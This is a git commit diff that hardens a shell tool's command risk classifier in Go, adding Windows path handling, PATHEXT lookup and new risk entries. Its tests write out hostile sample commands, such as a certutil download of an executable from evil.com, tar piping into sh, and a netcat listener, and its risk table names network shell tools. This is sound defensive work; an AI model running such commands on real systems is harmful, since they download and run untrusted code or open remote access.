feat(security): enhance Windows command risk classification and add tests for path handling

Signed-off-by: Boris Bliznioukov <blib@mail.com>

docs/design/DDR-shell-tool-hardening.md

@@ -111,6 +111,15 @@
 
    Plus all variables matching the `LC_*` prefix.
 
+   On Windows (`runtime.GOOS == "windows"`), the allowlist MUST additionally include: `PATHEXT`, `SYSTEMROOT`, `SYSTEMDRIVE`, `COMSPEC`, `APPDATA`, `USERPROFILE`, `HOMEDRIVE`, `HOMEPATH`. Without `SYSTEMROOT`, many Windows system calls fail. Without `PATHEXT`, executable lookup cannot probe extensions.
+
+7a. The `pathAwareExecHandler` MUST resolve commands using the sanitized environment's PATH (not `os.Getenv`). The `lookPath` implementation MUST:
+   - Detect path-containing commands via `filepath.Base` (handles both `/` and `\`), not `strings.Contains(cmd, "/")`.
+   - On Windows: probe PATHEXT extensions (`.com`, `.exe`, `.bat`, `.cmd` by default) from the sanitized environment for each PATH directory. Accept any non-directory file (the executable bit is meaningless on Windows).
+   - On Unix: require the executable permission bit (`mode & 0o111 != 0`).
+
+7b. The `baseCommand` function MUST extract the basename via `filepath.Base`. On Windows only, it MUST additionally lowercase the result and strip known executable extensions (`.exe`, `.cmd`, `.bat`, `.com`) so that `C:\Windows\System32\cmd.exe` resolves to `cmd` in the risk table. On Unix, these transformations MUST NOT be applied: commands are case-sensitive and extensions are part of the filename. Stripping them on Unix would let an attacker disguise a binary as a known-safe command (e.g., a malicious `ls.exe` classified as low-risk `ls`).
+
 8. The `interp.Runner` MUST be configured with an `OpenHandler` that validates all file-open paths (from shell redirections) resolve within the configured workspace directory. Paths to safe pseudo-devices (`/dev/null`, `/dev/zero`, `/dev/urandom`, `/dev/stdin`, `/dev/stdout`, `/dev/stderr`) MUST be exempted.
 
 9. The existing regex-based guard (`defaultDenyPatterns`, `guardCommand()`) MUST be removed entirely. The `ExecConfig` fields `EnableDenyPatterns`, `CustomDenyPatterns`, and `CustomAllowPatterns` MUST be removed from the struct.

pkg/tools/shell/env.go

@@ -2,6 +2,7 @@ package shell
 
 import (
 	"os"
+	"runtime"
 	"strings"
 
 	"mvdan.cc/sh/v3/expand"
@@ -33,16 +34,35 @@ var defaultEnvAllowPrefixes = []string{
 	"LC_",
 }
 
+// windowsEnvAllowlist contains additional variables needed on Windows.
+// Without SYSTEMROOT, many Windows system calls fail. PATHEXT is required
+// for correct executable lookup.
+var windowsEnvAllowlist = map[string]bool{
+	"PATHEXT":     true,
+	"SYSTEMROOT":  true,
+	"SYSTEMDRIVE": true,
+	"COMSPEC":     true,
+	"APPDATA":     true,
+	"USERPROFILE": true,
+	"HOMEDRIVE":   true,
+	"HOMEPATH":    true,
+}
+
 // BuildSanitizedEnv constructs an expand.Environ from the current process
 // environment, filtering to only allowlisted variables.
 //
 // extraAllowlist adds additional variable names to the default allowlist.
 // envSet provides explicit key=value pairs that override any inherited value.
 func BuildSanitizedEnv(extraAllowlist []string, envSet map[string]string) expand.Environ {
-	allowed := make(map[string]bool, len(DefaultEnvAllowlist)+len(extraAllowlist))
+	allowed := make(map[string]bool, len(DefaultEnvAllowlist)+len(extraAllowlist)+len(windowsEnvAllowlist))
 	for k := range DefaultEnvAllowlist {
 		allowed[k] = true
 	}
+	if runtime.GOOS == "windows" {
+		for k := range windowsEnvAllowlist {
+			allowed[k] = true
+		}
+	}
 	for _, k := range extraAllowlist {
 		allowed[k] = true
 	}

pkg/tools/shell/risk.go

@@ -3,6 +3,8 @@ package shell
 import (
 	"fmt"
 	"path/filepath"
+	"runtime"
+	"strings"
 )
 
 // RiskLevel represents the potential danger of a shell command.
@@ -124,6 +126,24 @@ var commandRiskTable = map[string]RiskLevel{
 	"paste":     RiskLow,
 	"expand":    RiskLow,
 	"unexpand":  RiskLow,
+	"man":       RiskLow,
+	"info":      RiskLow,
+	"dig":       RiskLow,
+	"nslookup":  RiskLow,
+	"host":      RiskLow,
+	"ping":      RiskLow,
+	"ss":        RiskLow,
+	"netstat":   RiskLow,
+	"lsblk":     RiskLow,
+	"w":         RiskLow,
+	"who":       RiskLow,
+	"last":      RiskLow,
+	"bc":        RiskLow,
+	"expr":      RiskLow,
+	"time":      RiskLow,
+	"nproc":     RiskLow,
+	"arch":      RiskLow,
+	"getent":    RiskLow,
 
 	// Medium — file modification, network reads, build tools
 	"cp":      RiskMedium,
@@ -163,6 +183,15 @@ var commandRiskTable = map[string]RiskLevel{
 	"perl":    RiskMedium,
 	"php":     RiskMedium,
 	"patch":   RiskMedium,
+	"nano":    RiskMedium,
+	"vi":      RiskMedium,
+	"vim":     RiskMedium,
+	"openssl": RiskMedium,
+	"crontab": RiskMedium,
+	"nohup":   RiskMedium,
+	"gpg":     RiskMedium,
+	"sftp":    RiskMedium,
+	"ftp":     RiskMedium,
 
 	// High — destructive, system-modifying
 	"rm":        RiskHigh,
@@ -180,47 +209,56 @@ var commandRiskTable = map[string]RiskLevel{
 	"kubectl":   RiskHigh,
 	"systemctl": RiskHigh,
 	"service":   RiskHigh,
+	"nc":        RiskHigh,
+	"netcat":    RiskHigh,
+	"ncat":      RiskHigh,
+	"socat":     RiskHigh,
+	"useradd":   RiskHigh,
+	"userdel":   RiskHigh,
+	"usermod":   RiskHigh,
+	"passwd":    RiskHigh,
+	"chroot":    RiskHigh,
+	"truncate":  RiskHigh,
+	"shred":     RiskHigh,
 
 	// Critical — privilege escalation, always dangerous
-	"sudo":     RiskCritical,
+	"sudo":      RiskCritical,
-	"su":       RiskCritical,
+	"su":        RiskCritical,
-	"dd":       RiskCritical,
+	"dd":        RiskCritical,
-	"mkfs":     RiskCritical,
+	"mkfs":      RiskCritical,
-	"fdisk":    RiskCritical,
+	"fdisk":     RiskCritical,
-	"parted":   RiskCritical,
+	"parted":    RiskCritical,
-	"mount":    RiskCritical,
+	"mount":     RiskCritical,
-	"umount":   RiskCritical,
+	"umount":    RiskCritical,
-	"shutdown": RiskCritical,
+	"shutdown":  RiskCritical,
-	"reboot":   RiskCritical,
+	"reboot":    RiskCritical,
-	"poweroff": RiskCritical,
+	"poweroff":  RiskCritical,
-	"halt":     RiskCritical,
+	"halt":      RiskCritical,
-	"init":     RiskCritical,
+	"init":      RiskCritical,
-	"insmod":   RiskCritical,
+	"insmod":    RiskCritical,
-	"rmmod":    RiskCritical,
+	"rmmod":     RiskCritical,
-	"modprobe": RiskCritical,
+	"modprobe":  RiskCritical,
-	"iptables": RiskCritical,
+	"iptables":  RiskCritical,
-	"nft":      RiskCritical,
+	"ip6tables": RiskCritical,
-	"eval":     RiskCritical,
+	"nft":       RiskCritical,
-	"exec":     RiskCritical,
+	"chattr":    RiskCritical,
-	"source":   RiskCritical,
+	"visudo":    RiskCritical,
-	".":        RiskCritical,
+	"eval":      RiskCritical,
-	"format":   RiskCritical,
+	"exec":      RiskCritical,
-	"diskpart": RiskCritical,
+	"source":    RiskCritical,
+	".":         RiskCritical,
 
 	// Critical — shell wrappers can execute arbitrary nested commands,
 	// bypassing the risk classifier entirely (e.g. sh -c 'rm -rf /').
-	"sh":         RiskCritical,
+	"sh":   RiskCritical,
-	"bash":       RiskCritical,
+	"bash": RiskCritical,
-	"zsh":        RiskCritical,
+	"zsh":  RiskCritical,
-	"dash":       RiskCritical,
+	"dash": RiskCritical,
-	"fish":       RiskCritical,
+	"fish": RiskCritical,
-	"csh":        RiskCritical,
+	"csh":  RiskCritical,
-	"tcsh":       RiskCritical,
+	"tcsh": RiskCritical,
-	"ksh":        RiskCritical,
+	"ksh":  RiskCritical,
-	"powershell": RiskCritical,
+	"pwsh": RiskCritical, // PowerShell Core 7+ (cross-platform)
-	"pwsh":       RiskCritical,
-	"cmd":        RiskCritical,
-	"cmd.exe":    RiskCritical,
 }
 
 // ArgModifier describes a condition that elevates a command's risk level.
@@ -274,6 +312,7 @@ var argumentModifiers = map[string][]ArgModifier{
 		{Args: []string{"install", "--user"}, Level: RiskHigh},
 	},
 	"docker": {
+		{Args: []string{"run", "--privileged"}, Level: RiskCritical},
 		{Args: []string{"run"}, Level: RiskHigh},
 		{Args: []string{"exec"}, Level: RiskHigh},
 		{Args: []string{"rm"}, Level: RiskHigh},
@@ -305,6 +344,26 @@ var argumentModifiers = map[string][]ArgModifier{
 		{Args: []string{"-KILL"}, Level: RiskCritical},
 		{Args: []string{"-SIGKILL"}, Level: RiskCritical},
 	},
+	"find": {
+		{Args: []string{"-delete"}, Level: RiskHigh},
+		{Args: []string{"-exec"}, Level: RiskHigh},
+	},
+	"sed": {
+		{Args: []string{"-i"}, Level: RiskMedium},
+	},
+	"rsync": {
+		{Args: []string{"--delete"}, Level: RiskCritical},
+	},
+	"crontab": {
+		{Args: []string{"-r"}, Level: RiskHigh},
+	},
+	"ssh": {
+		{Args: []string{"-R"}, Level: RiskHigh},
+		{Args: []string{"-L"}, Level: RiskHigh},
+	},
+	"tar": {
+		{Args: []string{"--to-command"}, Level: RiskCritical},
+	},
 }
 
 // ClassifyCommand determines the risk level of a resolved command.
@@ -413,19 +472,38 @@ func BlockedCommandError(args []string, level, threshold RiskLevel, reason strin
 }
 
 // baseCommand extracts the basename from a command path.
-// Uses filepath.Base so both forward slashes and Windows backslashes
+// On Windows, it additionally lowercases the name and strips known
-// are handled correctly.
+// executable extensions (.exe, .cmd, .bat, .com) so that
+// "C:\Windows\System32\cmd.exe" resolves to "cmd" in the risk table.
+//
+// On Unix these transformations are NOT applied: commands are
+// case-sensitive and extensions are part of the filename. Stripping
+// them would let an attacker disguise a binary as a known-safe command
+// (e.g., a malicious "ls.exe" classified as low-risk "ls").
 func baseCommand(cmd string) string {
-	return filepath.Base(cmd)
+	name := filepath.Base(cmd)
+	if runtime.GOOS != "windows" {
+		return name
+	}
+	lower := strings.ToLower(name)
+	for _, ext := range []string{".exe", ".cmd", ".bat", ".com"} {
+		if strings.HasSuffix(lower, ext) {
+			return lower[:len(lower)-len(ext)]
+		}
+	}
+	return lower
 }
 
 // normalizeFlags expands combined short flags (e.g., "-rf" → "-r", "-f")
 // so that modifier matching works regardless of how flags are grouped.
-// Long flags (--flag) and non-flag arguments are passed through unchanged.
+// Long flags (--flag), non-flag arguments, and slash flags (/s, /MIR) are
+// passed through unchanged. Single-dash flags longer than 3 characters
+// (e.g., "-urlcache") are treated as long flags and NOT expanded, since
+// no standard tool uses 4+ combined single-letter flags.
 func normalizeFlags(args []string) []string {
 	result := make([]string, 0, len(args)*2)
 	for _, a := range args {
-		if len(a) > 2 && a[0] == '-' && a[1] != '-' {
+		if len(a) > 2 && len(a) <= 4 && a[0] == '-' && a[1] != '-' {
 			for _, ch := range a[1:] {
 				result = append(result, "-"+string(ch))
 			}

pkg/tools/shell/risk_test.go

@@ -1,6 +1,12 @@
 package shell
 
-import "testing"
+import (
+	"runtime"
+	"testing"
+)
+
+// Windows-specific command and arg modifier tests are in risk_windows_test.go
+// (guarded by //go:build windows).
 
 func TestClassifyCommand_BaseTable(t *testing.T) {
 	tests := []struct {
@@ -14,22 +20,38 @@ func TestClassifyCommand_BaseTable(t *testing.T) {
 		{[]string{"wc", "-l"}, RiskLow},
 		{[]string{"echo", "hello"}, RiskLow},
 		{[]string{"jq", ".field", "data.json"}, RiskLow},
+		{[]string{"ping", "localhost"}, RiskLow},
+		{[]string{"dig", "example.com"}, RiskLow},
+		{[]string{"ss", "-tulpn"}, RiskLow},
+		{[]string{"bc"}, RiskLow},
+		{[]string{"nproc"}, RiskLow},
 
 		{[]string{"cp", "a", "b"}, RiskMedium},
 		{[]string{"mv", "a", "b"}, RiskMedium},
 		{[]string{"python3", "-c", "print(1)"}, RiskMedium},
 		{[]string{"git", "status"}, RiskMedium},
 		{[]string{"curl", "https://example.com"}, RiskMedium},
+		{[]string{"openssl", "version"}, RiskMedium},
+		{[]string{"crontab", "-l"}, RiskMedium},
+		{[]string{"vim", "file.txt"}, RiskMedium},
 
 		{[]string{"rm", "file.txt"}, RiskHigh},
 		{[]string{"chmod", "755", "script.sh"}, RiskHigh},
 		{[]string{"docker", "ps"}, RiskHigh},
 		{[]string{"ssh", "user@host"}, RiskHigh},
+		{[]string{"nc", "-l", "4444"}, RiskHigh},
+		{[]string{"socat", "TCP:host:80", "STDOUT"}, RiskHigh},
+		{[]string{"useradd", "testuser"}, RiskHigh},
+		{[]string{"passwd", "testuser"}, RiskHigh},
+		{[]string{"shred", "file"}, RiskHigh},
 
 		{[]string{"sudo", "ls"}, RiskCritical},
 		{[]string{"dd", "if=/dev/zero", "of=/dev/sda"}, RiskCritical},
 		{[]string{"shutdown", "-h", "now"}, RiskCritical},
 		{[]string{"eval", "echo hi"}, RiskCritical},
+		{[]string{"chattr", "+i", "file"}, RiskCritical},
+		{[]string{"visudo"}, RiskCritical},
+		{[]string{"ip6tables", "-L"}, RiskCritical},
 	}
 
 	for _, tt := range tests {
@@ -83,6 +105,16 @@ func TestClassifyCommand_ArgumentModifiers(t *testing.T) {
 
 		{"apt install", []string{"apt", "install", "vim"}, RiskHigh},
 		{"apt purge", []string{"apt", "purge", "vim"}, RiskCritical},
+
+		{"find -delete", []string{"find", ".", "-name", "*.tmp", "-delete"}, RiskHigh},
+		{"find -exec", []string{"find", ".", "-exec", "rm", "{}", ";"}, RiskHigh},
+		{"sed -i", []string{"sed", "-i", "s/old/new/g", "file"}, RiskMedium},
+		{"rsync --delete", []string{"rsync", "-a", "--delete", "src/", "dst/"}, RiskCritical},
+		{"crontab -r", []string{"crontab", "-r"}, RiskHigh},
+		{"ssh -R (reverse tunnel)", []string{"ssh", "-R", "8080:localhost:80", "host"}, RiskHigh},
+		{"ssh -L (local tunnel)", []string{"ssh", "-L", "8080:remotehost:80", "host"}, RiskHigh},
+		{"tar --to-command", []string{"tar", "xf", "archive.tar", "--to-command", "sh"}, RiskCritical},
+		{"docker run --privileged", []string{"docker", "run", "--privileged", "ubuntu"}, RiskCritical},
 	}
 
 	for _, tt := range tests {
@@ -182,6 +214,84 @@ func TestClassifyCommand_BackslashPath(t *testing.T) {
 	}
 }
 
+func TestBaseCommand_StripsExeExtensions(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("extension stripping only applies on Windows")
+	}
+	tests := []struct {
+		input string
+		want  string
+	}{
+		{"cmd.exe", "cmd"},
+		{"GIT.EXE", "git"},
+		{"POWERSHELL.EXE", "powershell"},
+		{"script.bat", "script"},
+		{"helper.cmd", "helper"},
+		{"run.COM", "run"},
+		{"ls", "ls"},
+		{"my.tool", "my.tool"},
+		{"", "."},
+	}
+	for _, tt := range tests {
+		t.Run(tt.input, func(t *testing.T) {
+			got := baseCommand(tt.input)
+			if got != tt.want {
+				t.Errorf("baseCommand(%q) = %q, want %q", tt.input, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestBaseCommand_PreservesOnNonWindows(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("this test verifies non-Windows behavior")
+	}
+	tests := []struct {
+		input string
+		want  string
+	}{
+		{"cmd.exe", "cmd.exe"},  // NOT stripped
+		{"GIT.EXE", "GIT.EXE"},  // NOT lowercased
+		{"LS", "LS"},            // case preserved
+		{"ls", "ls"},            // unchanged
+		{"/usr/bin/git", "git"}, // filepath.Base still works
+		{"", "."},               // filepath.Base edge case
+	}
+	for _, tt := range tests {
+		t.Run(tt.input, func(t *testing.T) {
+			got := baseCommand(tt.input)
+			if got != tt.want {
+				t.Errorf("baseCommand(%q) = %q, want %q", tt.input, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestClassifyCommand_WindowsExePath(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("extension stripping only applies on Windows")
+	}
+	tests := []struct {
+		name string
+		args []string
+		want RiskLevel
+	}{
+		{"cmd.exe bare", []string{"cmd.exe"}, RiskCritical},
+		{"CMD.EXE upper", []string{"CMD.EXE"}, RiskCritical},
+		{"git.exe status", []string{"git.exe", "status"}, RiskMedium},
+		{"git.exe push", []string{"git.exe", "push"}, RiskHigh},
+		{"rm.exe -rf", []string{"rm.exe", "-rf", "/"}, RiskCritical},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := ClassifyCommand(tt.args, nil)
+			if got != tt.want {
+				t.Errorf("ClassifyCommand(%v) = %s, want %s", tt.args, got, tt.want)
+			}
+		})
+	}
+}
+
 func TestIsAllowed(t *testing.T) {
 	tests := []struct {
 		level     RiskLevel
@@ -345,6 +455,7 @@ func TestClassifyCommand_ExtraArgModifiers_NoOverrideBuiltIn(t *testing.T) {
 
 func TestClassifyCommand_ShellWrappers(t *testing.T) {
 	// Shell wrappers must be critical to prevent classifier bypass.
+	// cmd and cmd.exe are tested in risk_windows_test.go.
 	shells := []string{
 		"sh",
 		"bash",
@@ -354,10 +465,7 @@ func TestClassifyCommand_ShellWrappers(t *testing.T) {
 		"ksh",
 		"csh",
 		"tcsh",
-		"powershell",
 		"pwsh",
-		"cmd",
-		"cmd.exe",
 	}
 	for _, sh := range shells {
 		t.Run(sh, func(t *testing.T) {

pkg/tools/shell/risk_windows.go

@@ -0,0 +1,107 @@
+//go:build windows
+
+package shell
+
+func init() {
+	// Windows-specific command risk entries.
+	// On Windows, both Unix commands (from the shared table) and these
+	// Windows-native commands are available — WSL, Git Bash, and MSYS2
+	// expose Unix tooling alongside native Windows executables.
+
+	windowsCommands := map[string]RiskLevel{
+		// Low — read-only, informational
+		"dir":        RiskLow,
+		"where":      RiskLow,
+		"ver":        RiskLow,
+		"set":        RiskLow,
+		"systeminfo": RiskLow,
+		"tasklist":   RiskLow,
+		"findstr":    RiskLow,
+		"assoc":      RiskLow,
+		"ftype":      RiskLow,
+		"path":       RiskLow,
+		"vol":        RiskLow,
+		"chcp":       RiskLow,
+
+		// Medium — file modification, utilities
+		"copy":     RiskMedium,
+		"xcopy":    RiskMedium,
+		"robocopy": RiskMedium,
+		"move":     RiskMedium,
+		"ren":      RiskMedium,
+		"rename":   RiskMedium,
+		"md":       RiskMedium,
+		"compact":  RiskMedium,
+		"attrib":   RiskMedium,
+		"certutil": RiskMedium,
+		"clip":     RiskMedium,
+		"mklink":   RiskMedium,
+
+		// High — destructive, system-modifying
+		"del":      RiskHigh,
+		"erase":    RiskHigh,
+		"rd":       RiskHigh,
+		"taskkill": RiskHigh,
+		"icacls":   RiskHigh,
+		"cacls":    RiskHigh,
+		"takeown":  RiskHigh,
+
+		// Critical — privilege escalation, registry, system config
+		"runas":    RiskCritical,
+		"reg":      RiskCritical,
+		"regedit":  RiskCritical,
+		"bcdedit":  RiskCritical,
+		"bcdboot":  RiskCritical,
+		"net":      RiskCritical,
+		"sc":       RiskCritical,
+		"netsh":    RiskCritical,
+		"schtasks": RiskCritical,
+		"at":       RiskCritical,
+		"wmic":     RiskCritical,
+		"msiexec":  RiskCritical,
+		"dism":     RiskCritical,
+		"sfc":      RiskCritical,
+		"format":   RiskCritical,
+		"diskpart": RiskCritical,
+
+		// Critical — shell wrappers (cmd.exe) and script hosts
+		"powershell": RiskCritical, // Windows PowerShell 5.1 (Windows-only; pwsh is cross-platform)
+		"cmd":        RiskCritical,
+		"cmd.exe":    RiskCritical,
+		"cscript": RiskCritical,
+		"wscript": RiskCritical,
+		"mshta":   RiskCritical,
+	}
+
+	for k, v := range windowsCommands {
+		commandRiskTable[k] = v
+	}
+
+	// Windows-specific argument modifiers.
+	windowsArgModifiers := map[string][]ArgModifier{
+		"robocopy": {
+			{Args: []string{"/MIR"}, Level: RiskHigh},   // mirror = deletes extras in destination
+			{Args: []string{"/PURGE"}, Level: RiskHigh}, // delete dest files not in source
+		},
+		"certutil": {
+			{Args: []string{"-urlcache"}, Level: RiskHigh},  // download files from URL
+			{Args: []string{"-decode"}, Level: RiskHigh},    // decode Base64 (malware delivery)
+			{Args: []string{"-decodehex"}, Level: RiskHigh}, // decode hex (malware delivery)
+		},
+		"del": {
+			{Args: []string{"/s"}, Level: RiskCritical}, // recursive delete
+			{Args: []string{"/q"}, Level: RiskCritical}, // quiet (no confirmation)
+		},
+		"rd": {
+			{Args: []string{"/s"}, Level: RiskCritical}, // recursive delete
+		},
+		"taskkill": {
+			{Args: []string{"/f"}, Level: RiskCritical},  // force kill
+			{Args: []string{"/im"}, Level: RiskCritical}, // kill by image name (bulk)
+		},
+	}
+
+	for k, v := range windowsArgModifiers {
+		argumentModifiers[k] = append(argumentModifiers[k], v...)
+	}
+}

pkg/tools/shell/risk_windows_test.go

@@ -0,0 +1,111 @@
+//go:build windows
+
+package shell
+
+import "testing"
+
+func TestClassifyCommand_WindowsCommands(t *testing.T) {
+	tests := []struct {
+		name  string
+		args  []string
+		level RiskLevel
+	}{
+		// Low — read-only
+		{"dir", []string{"dir", "/b"}, RiskLow},
+		{"where", []string{"where", "git"}, RiskLow},
+		{"systeminfo", []string{"systeminfo"}, RiskLow},
+		{"tasklist", []string{"tasklist"}, RiskLow},
+		{"findstr", []string{"findstr", "pattern", "file.txt"}, RiskLow},
+		{"ver", []string{"ver"}, RiskLow},
+
+		// Medium — file modification
+		{"copy", []string{"copy", "a.txt", "b.txt"}, RiskMedium},
+		{"xcopy", []string{"xcopy", "src", "dst"}, RiskMedium},
+		{"robocopy plain", []string{"robocopy", "src", "dst"}, RiskMedium},
+		{"move", []string{"move", "a.txt", "b.txt"}, RiskMedium},
+		{"ren", []string{"ren", "old.txt", "new.txt"}, RiskMedium},
+		{"attrib", []string{"attrib", "+h", "file.txt"}, RiskMedium},
+		{"certutil hash", []string{"certutil", "-hashfile", "f.exe"}, RiskMedium},
+		{"mklink", []string{"mklink", "link", "target"}, RiskMedium},
+
+		// High — destructive
+		{"del", []string{"del", "file.txt"}, RiskHigh},
+		{"erase", []string{"erase", "file.txt"}, RiskHigh},
+		{"rd", []string{"rd", "folder"}, RiskHigh},
+		{"taskkill", []string{"taskkill", "/pid", "1234"}, RiskHigh},
+		{"icacls", []string{"icacls", "file", "/grant", "user:F"}, RiskHigh},
+		{"takeown", []string{"takeown", "/f", "file"}, RiskHigh},
+
+		// Critical — privilege escalation, system config
+		{"runas", []string{"runas", "/user:admin", "cmd"}, RiskCritical},
+		{"reg", []string{"reg", "query", "HKLM"}, RiskCritical},
+		{"regedit", []string{"regedit", "/s", "file.reg"}, RiskCritical},
+		{"bcdedit", []string{"bcdedit", "/set"}, RiskCritical},
+		{"net", []string{"net", "user"}, RiskCritical},
+		{"sc", []string{"sc", "query"}, RiskCritical},
+		{"netsh", []string{"netsh", "advfirewall"}, RiskCritical},
+		{"schtasks", []string{"schtasks", "/create"}, RiskCritical},
+		{"wmic", []string{"wmic", "process", "list"}, RiskCritical},
+		{"msiexec", []string{"msiexec", "/i", "pkg.msi"}, RiskCritical},
+		{"dism", []string{"dism", "/online"}, RiskCritical},
+		{"sfc", []string{"sfc", "/scannow"}, RiskCritical},
+
+		// Critical — shell wrappers and script hosts
+		{"powershell", []string{"powershell", "-Command", "Get-Date"}, RiskCritical},
+		{"cmd", []string{"cmd", "/c", "dir"}, RiskCritical},
+		{"cmd.exe", []string{"cmd.exe", "/c", "dir"}, RiskCritical},
+		{"cscript", []string{"cscript", "script.vbs"}, RiskCritical},
+		{"wscript", []string{"wscript", "script.vbs"}, RiskCritical},
+		{"mshta", []string{"mshta", "file.hta"}, RiskCritical},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := ClassifyCommand(tt.args, nil)
+			if got != tt.level {
+				t.Errorf("ClassifyCommand(%v) = %s, want %s", tt.args, got, tt.level)
+			}
+		})
+	}
+}
+
+func TestClassifyCommand_WindowsArgModifiers(t *testing.T) {
+	tests := []struct {
+		name string
+		args []string
+		want RiskLevel
+	}{
+		{"robocopy /MIR", []string{"robocopy", "src", "dst", "/MIR"}, RiskHigh},
+		{"robocopy /PURGE", []string{"robocopy", "src", "dst", "/PURGE"}, RiskHigh},
+		{"certutil -urlcache", []string{"certutil", "-urlcache", "-split", "-f", "http://evil.com/a.exe"}, RiskHigh},
+		{"certutil -decode", []string{"certutil", "-decode", "in.b64", "out.exe"}, RiskHigh},
+		{"del /s", []string{"del", "/s", "*.tmp"}, RiskCritical},
+		{"del /q", []string{"del", "/q", "*.log"}, RiskCritical},
+		{"rd /s", []string{"rd", "/s", "folder"}, RiskCritical},
+		{"taskkill /f", []string{"taskkill", "/f", "/pid", "1234"}, RiskCritical},
+		{"taskkill /im", []string{"taskkill", "/im", "notepad.exe"}, RiskCritical},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := ClassifyCommand(tt.args, nil)
+			if got != tt.want {
+				t.Errorf("ClassifyCommand(%v) = %s, want %s", tt.args, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestClassifyCommand_WindowsShellWrappers(t *testing.T) {
+	// powershell, cmd and cmd.exe are Windows-only shell wrappers.
+	// pwsh (PowerShell Core) is cross-platform and tested in risk_test.go.
+	shells := []string{"powershell", "cmd", "cmd.exe"}
+	for _, sh := range shells {
+		t.Run(sh, func(t *testing.T) {
+			got := ClassifyCommand([]string{sh, "/c", "echo hi"}, nil)
+			if got != RiskCritical {
+				t.Errorf("%s should be critical, got %s", sh, got)
+			}
+		})
+	}
+}

pkg/tools/shell/runner.go

@@ -6,6 +6,7 @@ import (
 	"fmt"
 	"os"
 	"path/filepath"
+	"runtime"
 	"strings"
 	"time"
 
@@ -174,37 +175,74 @@ func pathAwareExecHandler(env expand.Environ) func(next interp.ExecHandlerFunc)
 
 // lookPath searches for an executable named cmd in the directories
 // listed in the PATH variable from the given environment.
+//
+// On Windows, PATHEXT extensions are probed (e.g., "git" → "git.exe").
+// The executable-bit check is skipped on Windows where it is meaningless.
 func lookPath(env expand.Environ, cmd string) (string, error) {
-	// If command contains a slash, it's a path - return as-is
+	// If command already contains a path separator, it's a path — return as-is.
-	if strings.Contains(cmd, "/") {
+	// filepath.Base handles both / and \ per platform.
+	if cmd != filepath.Base(cmd) {
 		return cmd, nil
 	}
 
 	// Get PATH from interpreter environment
 	pathVar := env.Get("PATH")
 	if !pathVar.Set {
-		// PATH not set in environment - let default handler try
 		return "", fmt.Errorf("PATH not set")
 	}
 	if pathVar.Str == "" {
 		return "", fmt.Errorf("PATH is empty")
 	}
 
+	exts := pathExtensions(env)
+
 	// Search each directory in PATH
 	for _, dir := range filepath.SplitList(pathVar.Str) {
 		if dir == "" {
 			dir = "."
 		}
-		fullPath := filepath.Join(dir, cmd)
+		for _, ext := range exts {
-		// Check if file exists and is executable
+			fullPath := filepath.Join(dir, cmd+ext)
-		if stat, err := os.Stat(fullPath); err == nil && !stat.IsDir() {
+			if isExecutable(fullPath) {
-			// On Unix, check executable bit
-			if stat.Mode()&0o111 != 0 {
 				return fullPath, nil
 			}
 		}
 	}
 
-	// Not found - let the default handler handle it
 	return "", fmt.Errorf("command %q not found in PATH", cmd)
 }
+
+// isExecutable reports whether the file at path exists and is executable.
+// On Unix, this checks the executable permission bits.
+// On Windows, file existence suffices (executability is determined by extension).
+func isExecutable(path string) bool {
+	stat, err := os.Stat(path)
+	if err != nil || stat.IsDir() {
+		return false
+	}
+	if runtime.GOOS == "windows" {
+		return true
+	}
+	return stat.Mode()&0o111 != 0
+}
+
+// pathExtensions returns the file extensions to probe when searching PATH.
+// On Windows, this reads PATHEXT from the environment (falling back to a
+// sensible default). On other platforms it returns [""] so the bare name
+// is tried exactly once.
+func pathExtensions(env expand.Environ) []string {
+	if runtime.GOOS != "windows" {
+		return []string{""}
+	}
+
+	// On Windows, try the bare name first, then each PATHEXT extension.
+	pathExt := env.Get("PATHEXT")
+	var exts []string
+	if pathExt.Set && pathExt.Str != "" {
+		exts = strings.Split(strings.ToLower(pathExt.Str), ";")
+	} else {
+		exts = []string{".com", ".exe", ".bat", ".cmd"}
+	}
+	// Prepend "" so the exact command name is tried first.
+	return append([]string{""}, exts...)
+}

pkg/tools/shell/runner_test.go

@@ -4,9 +4,12 @@ import (
 	"context"
 	"os"
 	"path/filepath"
+	"runtime"
 	"strings"
 	"testing"
 	"time"
+
+	"mvdan.cc/sh/v3/expand"
 )
 
 func TestRun_Success(t *testing.T) {
@@ -241,3 +244,85 @@ func TestRun_RiskOverrides(t *testing.T) {
 		t.Errorf("rm should be allowed with override: %s", result.Output)
 	}
 }
+
+// --- lookPath unit tests ---
+
+func makeTestEnv(vars map[string]string) expand.Environ {
+	return &sanitizedEnv{vars: vars}
+}
+
+func TestLookPath_PathContainsSlash(t *testing.T) {
+	env := makeTestEnv(map[string]string{"PATH": "/usr/bin"})
+
+	// Forward-slash path → returned as-is, no PATH search.
+	got, err := lookPath(env, "/usr/bin/git")
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if got != "/usr/bin/git" {
+		t.Errorf("got %q, want /usr/bin/git", got)
+	}
+
+	// Relative path with slash → also returned as-is.
+	got, err = lookPath(env, "./script.sh")
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if got != "./script.sh" {
+		t.Errorf("got %q, want ./script.sh", got)
+	}
+}
+
+func TestLookPath_FindsExecutableInPATH(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("Unix executable-bit test")
+	}
+	dir := t.TempDir()
+	binPath := filepath.Join(dir, "mytool")
+	if err := os.WriteFile(binPath, []byte("#!/bin/sh\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	env := makeTestEnv(map[string]string{"PATH": dir})
+	got, err := lookPath(env, "mytool")
+	if err != nil {
+		t.Fatalf("expected to find mytool: %v", err)
+	}
+	if got != binPath {
+		t.Errorf("got %q, want %q", got, binPath)
+	}
+}
+
+func TestLookPath_SkipsNonExecutable(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("Unix executable-bit test")
+	}
+	dir := t.TempDir()
+	// Create a file without executable bit.
+	binPath := filepath.Join(dir, "noexec")
